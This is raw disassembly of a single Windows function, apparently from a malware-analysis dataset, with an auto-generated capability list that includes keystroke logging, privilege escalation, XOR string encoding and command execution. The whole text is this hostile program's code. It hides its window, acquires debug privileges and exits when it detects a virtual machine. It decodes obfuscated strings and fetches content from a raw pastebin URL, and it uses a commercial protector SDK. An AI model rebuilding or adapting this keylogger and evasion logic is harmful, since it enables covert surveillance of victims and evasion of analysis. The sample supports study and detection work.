Function at 0x14004f9c0
Capabilities:
Acquire debug privileges
Create process on windows
Create thread
Encode data using xor
Execute command
Hide graphical window
Log keystrokes via polling
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa78]
sub rsp, 0xb78
xor esi, esi
mov dword [rbp + 0xac0], esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xac8]
lea edx, [rsi + 0x28]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14004fa72
lea r8, [rbp + 0xac0]
lea rdx, str.SeSecurityPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14004fa72
mov dword [rsp + 0x30], 1
mov rax, qword [rbp + 0xac0]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 0x10]
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, qword [rbp + 0xac8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xac8]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14004faeb
lea r8, [rbp + 0xac0]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14004faeb
mov dword [rsp + 0x30], 1
mov rax, qword [rbp + 0xac0]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, qword [rbp + 0xac8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rcx, [0x1401db820]
call fcn.140054910
test al, al
je 0x14004fb25
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x14016ac4a]
lea rdx, str.The_usage_of_virtual_environment_is_not_allowed.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp - 0x60]
call fcn.140043830
nop
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14004ac80
nop
lea r8, str.c2a7a660_ca80_41d9_bb09_c133f11ee957_af23d.tmp
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x50]
call fcn.14004d0d0
nop
mov rcx, rax
call fcn.14004ae80
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14004aba0
nop
lea rcx, [rbp + 0x80]
call fcn.140043700
movzx ebx, al
lea rcx, [rbp + 0x80]
call fcn.14004ab80
nop
lea rcx, [rsp + 0x50]
call fcn.14004ab80
nop
lea rcx, [rbp + 0xa0]
call fcn.14004ab80
nop
lea rcx, [rbp - 0x60]
call fcn.14004ab80
test bl, bl
je 0x14004fbb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov ecx, 1
call fcn.140139510
mov qword [rbp + 0xac0], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400538e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400517c9
cmp dword [rsp + 0x38], 0
je 0x1400517bd
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400517bd
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea ecx, [rax + 1]
call fcn.140139510
mov qword [rbp + 0xac0], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140053900]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400517ad
cmp dword [rsp + 0x38], 0
je 0x1400517a1
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400517a1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea ecx, [rax + 1]
call fcn.140139510
mov qword [rbp + 0xac0], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140053920]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140051791
cmp dword [rsp + 0x38], 0
je 0x140051785
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140051785
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_119]
movabs rbx, 0x7c3f6a6c971ab90d
mov qword [rbp + 0x240], rbx
movabs r14, 0xb68a8e6bda51dbfc
mov qword [rbp + 0x248], r14
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x240]
lea rcx, [rbp]
call fcn.14004a760
movabs r12, 0x7c0d1c1ee260dc43
mov qword [rsp + 0x40], r12
mov qword [rbp + 0x250], r12
mov qword [rsp + 0x48], r14
mov qword [rbp + 0x258], r14
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x40]
call fcn.14004a760
mov qword [rsp + 0x30], rbx
mov qword [rbp + 0x260], rbx
mov qword [rsp + 0x38], r14
mov qword [rbp + 0x268], r14
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x60]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], rsi
lea rax, [rsp + 0x30]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14004fde6
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x270]
call fcn.14003e860
nop
movabs rbx, 0x4c416f51b30de871
mov qword [rbp + 0x120], rbx
movabs rdi, 0xb68a8e6bda51bcb1
mov qword [rbp + 0x128], rdi
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x50]
call fcn.14004a760
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x68], r14
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], rsi
lea rax, [rsp + 0x30]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004fec0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d0]
call fcn.14003e860
nop
movabs rbx, 0x1a6b7a7bd104be77
mov qword [rbp + 0x2e0], rbx
movabs rdi, 0xd5bcba58b833ef9a
mov qword [rbp + 0x2e8], rdi
movabs rsi, 0x67789a5f9633e136
mov qword [rbp + 0x2f0], rsi
movabs r14, 0xa3eaa5915d183c9f
mov qword [rbp + 0x2f8], r14
movabs r12, 0xb3807507616de933
mov qword [rbp + 0x300], r12
movabs r13, 0xca8f360ee6fe2282
mov qword [rbp + 0x308], r13
movabs rax, 0x46aa9eab925ea13f
mov qword [rbp + 0x310], rax
movabs rax, 0xec79cbae23256910
mov qword [rbp + 0x318], rax
movabs rax, 0xebec98e6861d2f4b
mov qword [rbp + 0x320], rax
movabs rax, 0x141e08d3b70e9344
mov qword [rbp + 0x328], rax
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x60]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x330], rax
movabs rax, 0xb68a8e6bda51dbfc
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x338], rax
movabs rax, 0x5e4ba368f257d755
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x340], rax
movabs rax, 0x918cc6f565290bae
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x348], rax
movabs rax, 0x8ab81332030edc57
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x350], rax
movabs rax, 0xa9ec0f6f80cd40b0
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x358], rax
movabs rax, 0x7193ad9cf66ac309
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x360], rax
movabs rax, 0x894ff29946445f22
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x368], rax
movabs rax, 0xebec98e6861d2f4b
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x370], rax
movabs rax, 0x141e08d3b70e9344
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x378], rax
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x40]
call fcn.14004a760
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x1f8], rdi
mov qword [rbp + 0x388], rdi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x390], rsi
mov qword [rbp + 0x208], r14
mov qword [rbp + 0x398], r14
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x3a8], r13
movabs rax, 0x46aa9eab925ea13f
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x3b0], rax
movabs rax, 0xec79cbae23256910
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x3b8], rax
movabs rax, 0xebec98e6861d2f4b
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x3c0], rax
movabs rax, 0x141e08d3b70e9344
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x3c8], rax
lea r8, [rbp + 0x3d0]
lea rdx, [rbp + 0x380]
lea rcx, [rbp]
call fcn.14004a760
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [rbp + 0x200]
xorps xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xor r12d, r12d
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r12
lea rax, [rbp + 0x1f0]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140050207
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1b0]
call fcn.14003e860
nop
movabs rbx, 0x7c0d1c1ee250f272
mov qword [rsp + 0x40], rbx
movabs r13, 0xb68a8e6bda51dbfc
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x30], rbx
mov qword [rbp + 0x120], rbx
mov qword [rsp + 0x38], r13
mov qword [rbp + 0x128], r13
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x50]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r12
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400502e6
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x190]
call fcn.14003e860
nop
movabs rbx, 0x5322266d9214a82b
mov qword [rbp], rbx
movabs rdi, 0x98e2fa1ebb28be97
mov qword [rbp + 8], rdi
movabs rsi, 0x7122d309dd39be22
mov qword [rbp + 0x10], rsi
movabs r14, 0x918cc6f54a1b259f
mov qword [rbp + 0x18], r14
lea r8, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp - 0x20], rax
mov qword [rbp], rax
mov qword [rbp - 0x18], r13
mov qword [rbp + 8], r13
movabs rax, 0x5e4ba368f257d755
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x10], rax
movabs rax, 0x918cc6f565290bae
mov qword [rbp - 8], rax
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.14004a760
mov qword [rbp + 0x40], rbx
mov qword [rbp], rbx
mov qword [rbp + 0x48], rdi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x18], r14
lea r8, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.14004a760
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
xorps xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], r12
lea rax, [rbp + 0x40]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140050406
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x170]
call fcn.14003e860
nop
lea rax, [rbp + 0x80]
mov qword [rbp + 0xac0], rax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x80]
call fcn.14004b1c0
mov r14, rax
lea rax, [rbp + 0xa0]
mov qword [rbp + 0xac8], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xa0]
call fcn.14004b1c0
mov rsi, rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0xad0], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x50]
call fcn.14004b1c0
mov rdi, rax
lea rax, [rbp - 0x60]
mov qword [rbp + 0xad8], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x60]
call fcn.14004b1c0
mov rbx, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x40]
call fcn.14004b1c0
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.14004f0d0
nop
lea rax, [0x140000000]
lea rax, [rax + 0x177380]
mov qword [rbp + 0x4e0], rax
lea rax, [0x140177320]
mov qword [rbp + 0x4f0], rax
lea rcx, [rbp + 0x578]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0xac0], 0x3d
lea rcx, [rbp + 0x4f8]
call fcn.14004ae80
mov rdx, rax
xor r8d, r8d
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x4dc], edx
mov edx, 3
lea rcx, [rbp + 0x4f8]
call fcn.14004bdb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x100], 0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
call qword [str.PE_a_]
mov rbx, rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_519]
test rbx, rbx
je 0x14005065a
lea r8, str.https:__pastebin.com_raw_EpaNxFBK
mov edx, 0x2712
mov rcx, rbx
call qword [fcn.1400662d0]
lea r8, [0x14004f8f0]
mov edx, 0x4e2b
mov rcx, rbx
call qword [fcn.1400662d0]
lea r8, [rbp + 0xe0]
mov edx, 0x2711
mov rcx, rbx
call qword [fcn.1400662d0]
mov rcx, rbx
call qword [fcn.1400745c0]
mov edi, eax
mov rcx, rbx
call qword [str._E_a_]
jmp 0x140050660
mov edi, dword [rbp + 0xac0]
test edi, edi
je 0x140050a31
movabs rbx, 0x7c0d1c1ee260dc43
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x30], rbx
mov qword [rbp - 0x70], rbx
mov qword [rsp + 0x38], r13
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x30], xmm0
movabs rbx, 0xe626e6c8740b202
mov qword [rbp + 0x40], rbx
movabs rdi, 0xd3f8fc1eb932b4dc
mov qword [rbp + 0x48], rdi
movabs rsi, 0x3925ca1a8733f731
mov qword [rbp + 0x50], rsi
movabs r14, 0xf5fcb3d500417f8e
mov qword [rbp + 0x58], r14
movabs r12, 0xe3ca7644236ba836
mov qword [rbp + 0x60], r12
movabs r13, 0xc783661be1ae29d6
mov qword [rbp + 0x68], r13
movabs rax, 0x7193ad9cf66ac309
mov qword [rbp + 0x70], rax
movabs rax, 0x894ff29946445f22
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp - 0x60], rax
mov qword [rbp], rax
movabs rax, 0xb68a8e6bda51dbfc
mov qword [rbp - 0x58], rax
mov qword [rbp + 8], rax
movabs rax, 0x5e4ba368f257d755
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x10], rax
movabs rax, 0x918cc6f565290bae
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x18], rax
movabs rax, 0x8ab81332030edc57
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x20], rax
movabs rax, 0xa9ec0f6f80cd40b0
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x28], rax
movabs rax, 0x7193ad9cf66ac309
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x30], rax
movabs rax, 0x894ff29946445f22
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x38], rax
lea r8, [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x50], rbx
mov qword [rbp], rbx
mov qword [rsp + 0x58], rdi
mov qword [rbp + 8], rdi
mov qword [rsp + 0x60], rsi
mov qword [rbp + 0x10], rsi
mov qword [rsp + 0x68], r14
mov qword [rbp + 0x18], r14
mov qword [rsp + 0x70], r12
mov qword [rbp + 0x20], r12
mov qword [rsp + 0x78], r13
mov qword [rbp + 0x28], r13
movabs rax, 0x7193ad9cf66ac309
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x30], rax
movabs rax, 0x894ff29946445f22
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x38], rax
lea r8, [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x80], xmm1
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r12d, r12d
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x860]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x860]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [0x140000000]
lea rax, [rax + 0x177378]
mov qword [rbp + 0x3d0], rax
lea rcx, [rbp + 0x480]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0xac0], 0x7d
lea rcx, [rbp + 0x3e0]
call fcn.14004ae80
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3d0], r13
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3cc], edx
lea rcx, [rbp + 0x3e0]
call fcn.14004bb30
nop
cmp qword [rbp + 0x460], 0
jne 0x14005124a
mov edx, Ordinal_41
lea r8d, [rdx + 0x1b]
lea rcx, [rbp + 0x860]
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_wchar_t_const____ptr64__int__int_]
test rax, rax
je 0x14005124a
mov r8d, 1
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14004b810
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.14004d170
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14004b5f0
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14005126d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14005126d
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
jmp 0x14005126d
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
lea rcx, [rbp + 0x4f0]
call fcn.1400532f0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_119]
lea rcx, [rbp + 0x5e0]
call fcn.1400c7230
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x5c7f796a8c25fc49
mov qword [rbp - 0x60], rdi
movabs rsi, 0x8ceffd05bf32b290
mov qword [rbp - 0x58], rsi
movabs r14, 0x5e4ba368f257d775
mov qword [rbp - 0x50], r14
movabs rax, 0x918cc6f565290bae
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 8], r13
mov qword [rbp + 0x48], r13
movabs rax, 0x5e4ba368f257d755
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x50], rax
movabs rax, 0x918cc6f565290bae
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x58], rax
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x50], rdi
mov qword [rbp + 0x40], rdi
mov qword [rsp + 0x58], rsi
mov qword [rbp + 0x48], rsi
mov qword [rsp + 0x60], r14
mov qword [rbp + 0x50], r14
movabs rax, 0x918cc6f565290bae
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x58], rax
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x60], xmm1
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400526e0
lea rdx, [rbp + 0x150]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400528f0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x80]
call fcn.14004b1c0
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.1400c8a50
lea rcx, [0x1401774e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [rbp + 0x7f0], 0
jne 0x140050cfd
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x12687f6d8b2cfc49
mov qword [rsp + 0x50], rdi
movabs rsi, 0xd0aafa04b471be8f
mov qword [rsp + 0x58], rsi
movabs r14, 0x5e4ba3489639a23a
mov qword [rsp + 0x60], r14
movabs r15, 0x918cc6f565290bae
mov qword [rsp + 0x68], r15
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x58], r13
mov qword [rsp + 0x58], r13
movabs rax, 0x5e4ba368f257d755
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x48], r15
mov qword [rsp + 0x68], r15
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004a760
mov qword [rbp + 0xa0], rdi
mov qword [rsp + 0x50], rdi
mov qword [rbp + 0xa8], rsi
mov qword [rsp + 0x58], rsi
